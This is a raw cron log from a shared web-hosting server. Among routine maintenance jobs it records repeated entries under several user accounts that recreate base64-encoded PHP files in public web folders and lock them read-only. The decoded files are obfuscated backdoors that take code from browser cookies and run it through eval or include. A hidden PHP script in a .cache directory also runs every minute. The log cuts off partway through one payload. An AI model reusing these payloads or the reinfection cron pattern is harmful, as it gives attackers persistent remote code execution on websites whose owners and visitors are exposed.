| base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:55:02 medusa CROND[30308]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30309]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:55:02 medusa CROND[30311]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30312]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:56:01 medusa CROND[4121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:56:01 medusa CROND[4301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:56:01 medusa CROND[4341]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:56:01 medusa CROND[4342]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:56:01 medusa CROND[4344]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:56:01 medusa CROND[4345]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:56:01 medusa CROND[4348]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:56:01 medusa CROND[4351]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:56:01 medusa CROND[4355]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:56:01 medusa CROND[4357]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:56:01 medusa CROND[4358]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:56:01 medusa CROND[4361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:56:01 medusa CROND[4363]: (marc68b) CMD (curl desistems.com/sistema-crediticio/src/ctrl/generar_resumenes_cron.ctrl.php)
Mar  1 23:56:01 medusa CROND[4367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:56:01 medusa CROND[4375]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:57:01 medusa CROND[12134]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:57:01 medusa CROND[12166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:57:01 medusa CROND[12167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:57:01 medusa CROND[12168]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:57:01 medusa CROND[12169]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:57:01 medusa CROND[12170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:57:01 medusa CROND[12172]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:57:01 medusa CROND[12173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:57:01 medusa CROND[12176]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:57:01 medusa CROND[12175]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:57:01 medusa CROND[12177]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:57:01 medusa CROND[12178]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:58:01 medusa CROND[18467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 23:58:01 medusa CROND[18603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:58:01 medusa CROND[18604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAg